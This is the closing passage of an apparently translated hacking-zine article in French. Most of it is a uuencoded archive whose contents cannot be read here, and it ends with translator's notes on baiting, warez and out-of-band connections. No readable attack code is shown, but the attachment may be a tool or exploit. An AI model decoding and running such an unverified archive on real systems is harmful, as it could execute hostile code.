MJ&BT=^#(D6$0KTIOS045+RXC2='WU9DWXOXR?=?E\2MCU,BKOL6)M42QRH7% MESZ,TZ.EV=OE)SK*3+S*QSGDO_1ICOJ^A=3S>KN]T`@O$#:N94SF+TP2UT^] M.?F?O-D@RQ#(!17%,,CFKTLE$L-&.TLXON+[]T]\2*T'OU%6=/O-O#'ZXG MN/XH\&?C#_<_8?P3QC]A?(KQ*9YK9V>`G&%T!N@YH.<8=W'M`N[@ZN#Z,YY= M8'R!ZR6>]S#NV33[(T8?`?DD]NHKB.@_.[OBRL;?'OXP_@K85]Q_Q?U7W%_C M_AKWU[C7SJX!^1607P'Y%9!?G=VZ<(Z%`7GJQ/SJYV="=\0KP-;L^IYNB[?B MZ1-3U+]B]O;>H6@X]0,)M1GZVF;8>PG;?4:PMF#8B80=J]EMAZ&G$MICZ,X> MUG;J7:Q](!H":Q^+7?M8/-NK7P#OG6@T`:/9'7$L,.4C,$]$8QM06W0DYY]U M$F3C$#`AWNPQYU MW:1]$V9OCZ'/&=IZP;,_V?IKP-K"/`;L5'P@F*._!6R75VGU,/L8:_]C3W\' MZ%MA]IK"$N((F)]MO078.V%\!JPI#K'V%Z&O`W:$TANP;4Z_SOI\8+`O[6,ZNZP[1?-(2YBF@GX7C M/$'9C+]-41?8]+,7AW51[^'Z\X_;KU[OKWU:=7:?_GP$?>O7]=U&_?3UJXV5 MG4]?>J]?[?/SW9[[Q_TMUYNGK^^N)Z??O]R='V/^PK88L7S_2C M)FSM_>JG[Z6UOAQA%7/G_5;/?KEQN/M^ MZW(7.-H9>%O$VGIQZ!#]-M%7U,]?O[*[6UMFT_YT?0XJ!YVG1UWMO]NYTN>T ME23^G;]B1A<2I]`!B".1,,(8@PU8@!V;I))]WGVIVDVRR4NE]K_?7\](`GR\ M>M^V:DM392.DZ9F^>T;T]*)_-I>T^5U\#J:.%UN.$[]#D^JR87K;JU9T*X+/FCK*,,C&N[L:^`PQ]P[\U[, MR[O3C$O=SA#0PW6WPZ>]=OVFL1:XO#G"90<\B.<3_PI7]?[.OPD\?QNT[Y*T M=_2T]VG?U45I,=BU8G!AG4*<_SG$YIJXU1^O+@@.F!\@)P?(5=2?#*YSNM1K#/_0F@:6[2+20K\JE0/7()/:8438677C.ZZZ M>-U"+_Q0R*'WFL1(3J6%>F-NZL[MNNYZ5[4S;U,]PW=;8_QL!6SCI(E1^%A7 M?2UNNG2MZ;ZO/<`>`]AW=]>ZZ&]O\2U2;,\.R89->"6>6&4[V=?4KOMU1SW?'NKPQOL$U-;7?>W MB\U`X4G/B&],+;8!;3,-8XT#8*MZ]>O^>3T!#Q)_HL^';8_FU>$PFAZP5L>^ MXXWWCJG5H[ZQDO(.,8+;\BT'6(8NYNFU@SOBC*F#MZ!"\S*H_1(63-(3%(JY M*ZU.=!;`G_3:^ZL!:%.\H.F-+:NEM73!J23(:46L*/>WD,N:0\_[:_A%KIO= M3BWL3ORX/^*-/C@93.(X()\^CI>8074ZG'C3=&0_,3^T9Z"C M=6[%06<8#29>&)Q;UWV'[X:[P15BQCGPNJE.6K%9J\`'Z.O!FE>!SSCH6`OH M6OON"G,VCN>H3@1MI#7U-UY,?##=\9[;FY;E)J27%RZ\Y!K06]_HM05'--`9 M#4E+8VA,I[4AZ?%->GU#\33P;-\JMWR;1O9*BY8?>42[#ZR"K9_0*+[AW](H M;".U!9_KOOB,=8^BLS\ENW@+[[!IZ=!SSR&=,O1QH,%G=^HQ)'8S-'Q$/V@( M#R)0]B)[AG;$\C$>2_@88D;[S3 M?J6%]G+,(NU\->H'$@>TL=J#%AQT8'^\"G2A29="'FR53PY@;2%=LK1ZND]6-$J[D)Z@&8D7V!:KI_!0N.JX+=^T]U9 M%X,R>!'7L_439KF['D#6V4H7:\64^[S#(_"4]-@<;(5%IK%C==,S]KN6L3\; MMC>I/5Z(>V+E$0W+_@UY!&A$)"TD2OI'7D#9M:Y]\AP=2R6,T;<\;-]=4A3< M[\3\X]?;%D:XS:PI\M^OL#>"8MO-HP=0VH MVF+.Z-T'7+'-(::0]N6<:7-F+;G+#`_[?VQ'H5U+HD:EO:!*5]B)8_,H_E4I MYBFW@&371'J-1L`^OP4Q,"W$OIQ7F6HR%UMB8&Z0$#EZUAC6/QL:^QWVWO0Y M)^D-EA3^L/MGO*=,':,*^N==+$6FA'DTVC*]`NR3F18YN*X:6%'/*I'I@48' M?STM6A.7T&>*/C/9AR6`1J^>Z`4%Q769KE9L'G)C8;-- MY=($W9VJQ^KKZ8S=#UCCWF,-93JK7,)-7Z;?'6![+['=.C3WE<15TS#WU9+- MVLXL0?B]9?K5CJG:#`IXASEU_`7`B://`GTP?X)GG$-Z-ZXRNR>/?!%H886@ M+M%;DQ!L?[%D?7\]NY?/>^FH@,Q'97M!=Y#26J^,@"7IW:7'FNNIPU/^&J/T M&OK6CDR"MB987PEH?4'[W`2IZ2D?2@O#2;^- M0+N:\I:-9UHX@X3L&=F!/9J2_JMSLJ!*PA);]9A"[[B8K9(F,"=D#GTV0N8R M%?H=L@=Z:=&T>9^IMZQGLP^L;)+5O:<7%]&2JX"V-&BALL!ZB]TS;K`FM'*I MO856\B;H8UA&N4P?@=\\6+);TD&PLDF?I8701IX(4Z:YN2,HD!XFQ0LV+IYY MI+3VF(V7T@>0;]&O3]>L#Z%-%6JUZUP'_&Y#)`^2?/-6:TB+5&]R97Y*$FO=CYB]KI/-N M"E7W(7L56MNL#!A+-8CZEA;-?LC:T/%:RU1(C\0(D'$+>+3I#_)5^@>KU,)) M:I-=TG.8HVL[>Z9@([$FCL6N.UH2S=LJH%J;-RN:.QO!&&7:NT4L2:UB>Z2_ M#]`*E1A=#^FUUH#92W[.C"D\E#(EW[]*/51I(7R4#O,B&>G02)OW"+*]9%.Z M6:,WS?!0;7I!AGZ0#I;+E&G*7?),)EV=,6-`GS-FV&Q@\P@^G`6AXM.<,\8O M625D?=(J(V%7-A?QA]Z((AH8#^S.YFU@P[FM='*?!I_';>'3F*W,B<(-J&M7 MEC55LYM36O7`EVE3(:TZR7QTE4O$KCZ71R.3![:\\,AD@541C#C#[A<-.'CT M%?XU9$.RFO*`&4M^R]0'-J1^S5LVP2?H%C&+O2-M9<*WF[/<6ZG;S%LY#-K9 M$O?(O[8A\\D6T/IH]9)%O!5S/(@YTAEPRY0S,&AS6/DS:#(?V!'T*9&J-&Q3$F[!C[T8->T"O#'8ETAM(C6 M$@E%0=RI5A7BTGM8P8!><$L+C,CG:/,\OH2\._=)4N_)[ZS(.Y-?&[/&$MX7 MEIAQQPR90#-"O&`F;-I6RO1\Q.!.\;V)#079&;U]QRK#K)$9G#-+?-X0Y(6@ MGVB$52">UN!C&&*)K,IW^`S3 M3\2:J+\OL]`X%2'[#E7;(*K;B63+-A.E"%HV.Z/H)-906*^VEE`N[8&5FEA-^8R/B6-RL1JJ5HF5 M'K_\EO]L%8T^4[)&5O&GD5V8)S]H66E?61[G>6?Q_.?/QF^/E'QLBE%K3`)D ML`"4-RBC4J0Y/='[PVV=Y^(#.*/QZ_/3]ZU=9P(&^I+^0 MRDE^?7T!_N@I4P6>GGZ0QYN/C\'0 MN1(Z9?+QBRBN\]OA<$-Z=/K[UW^QPQF;7T#R,3T!_0=,X!-02X_LL_QD#"5H M_$[)&:<'=+*?O7]/CSW+<\\G&4:_EPXI#\\3A%*=..2"U?)3GY*D2)ZW$3K\B_"DG M1"8)$C)4YN.D1!<5SA*%G;)28.9Q`8Q#A2R+SA?+"F.?,\9\/RIRD`KXI!H# M98?^`_[QXS\/'47%##G."?QP>`I+5.6%NG+LP+#[^IZ-Z7M/J9+%R)I>DL;< M\/%78W+DH?TBP5F1L]?();D"TP.";X;L4/9DTG&)["` M*,2INF,L'G,TLKILKW)=VO?G/W[(:F@B0T06Z:*4(7+,/ZERA#S9G:.5#DMH M\3T34:&78D?9V`2:9>2)9*6L]`T>I,5O\BH2A/9%6LGCQY/*%NFYN$.5J:R` M1@V^CB@Y$:DLY_'G*O.L@`=%*/3Z>E2=2GE%JPXC#Y[KTN%A=*@-E-<1:O7V%)%__`Y/>Y2QF;J'_#:-:*9) MA&DA#EG=X^\_TOA%'?.36R<%.TI90$XK<[P(F.9;G53P.`"*4ATOP:6'+(\+ M>AR@TKH=+\'E)S%/*WP<8$5ICI<@T\.:QP4\2CFGLI3)DY(]-79:.B?[_NO) M]S2"EX5`7DN#RE=*4E!/.JI)(72F5U/K'[Q]+_]L:ET4K6M&*5K2B M%:UH12M:T8I6M*(5K6A%*UK1BE:THA6M:$4K6M&*5K2B%:UH12O:_VO[+\U> &F;<`>``` ` end --[ 7 - Notes du traducteur NTD-1 : Baiting, terme qui n'est pas encore traduit en français. http://en.wikipedia.org/wiki/Baiting_%28Internet%29 NDT-2 : juarez ... un jeu vidéo (http://www.callofjuarez.fr/) ou une étrange façon d'écrire warez ? NDT-3 : "out band", je n'ai pas trouvé de terme français qui rende bien. Il s'agit de connexion en dehors de celle déjà établie. NDT-4 : En français dans le texte.